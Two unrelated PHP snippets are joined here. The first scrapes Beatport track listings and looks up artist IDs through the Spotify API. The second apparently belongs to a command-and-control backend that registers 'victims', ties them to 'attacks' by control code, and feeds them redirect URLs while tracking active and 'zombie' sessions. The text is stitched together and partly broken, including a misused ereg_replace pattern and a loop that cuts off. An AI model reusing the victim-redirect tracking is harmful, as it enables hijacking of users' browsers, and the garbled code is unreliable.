set_time_limit(0); $link = array_shift($pages); $done[] = $link; //$content = file_get_contents($link); $content = getFile($link); //load qp with content fetched and initialise from body tag $htmlqp = @htmlqp($content, 'body'); if ($htmlqp->length > 0) { //we have some data to parse. $tracks = $htmlqp->find('.track'); foreach ($tracks as $track) { $title = $track->find('.buk-track-primary-title')->first()->text(); $artist = $track->find('.buk-track-artists > a')->first()->text(); $link_to_track = 'https://pro.beatport.com' . $track->find('.buk-track-title > a')->first()->attr('href'); //CHECK IF ARTIST ALREADY EXIST IN DATABASE, PRIOR TO SEARCHING ON SPOTIFY $artist_spotify_id = $db->querySingle("select Artist_spotify_id from artist where Artist_name='" . SQLite3::escapeString($artist) . "'"); //Like msq_realescape. if (!$artist_spotify_id) { // If not in database -- get id via Spotify API. $spotify_artist = $api->search($artist, 'artist'); //Geting artist id via Spotify Api foreach ($spotify_artist->artists->items as $spotify_id) { $artist_name = $spotify_id->name; $artist_spotify_id_tmp = $spotify_id->id; // store in temp var. Why did you store id as temporary variable? Got it. To use in a bottom loop. if ($artist_name === $artist) { $artist_spotify_id = $spotify_id->id; //this is what we need //echo '<br>'; //echo 'Artist name: ' . $artist_name; //echo '<br>';
if (isset($_GET['c']) && $_GET['c'] != "") { $code = ereg_replace('/[^a-z0-9]/', '', $_GET['c']); // suckurity 101 $attack_id = $db->querySingle("SELECT id FROM attacks WHERE control_code = '" . $code . "'", false); AddVictimToAttack($db, intval($attack_id)); } } // check the action, return new URL or NULL for nothing function checkAction($db) { $res = "0;"; $new_url = $db->querySingle("SELECT new_url FROM victims WHERE action = 1 AND id = " . (int) $_SESSION['id'], false); if ($new_url) { $res = "1;" . $new_url; } print $res; // we give the result already (for the redirect?), but we set it back to 0 $db->query("UPDATE victims SET action = 0 WHERE id = " . (int) $_SESSION['id']); } function AddVictimToAttack($db, $attack_id) { $db->query("UPDATE victims SET attack_id = " . (int) $attack_id . " WHERE id = " . $_SESSION['id']); } if (isset($_SESSION["id"]) && $_SESSION["id"] > 0 && $db->querySingle("SELECT id FROM victims WHERE id = " . (int) $_SESSION['id'], false)) { // we are an active session setActiveAndPing($db); print checkAction($db); } else { // there's no id found for this victim zombieVictim($db); }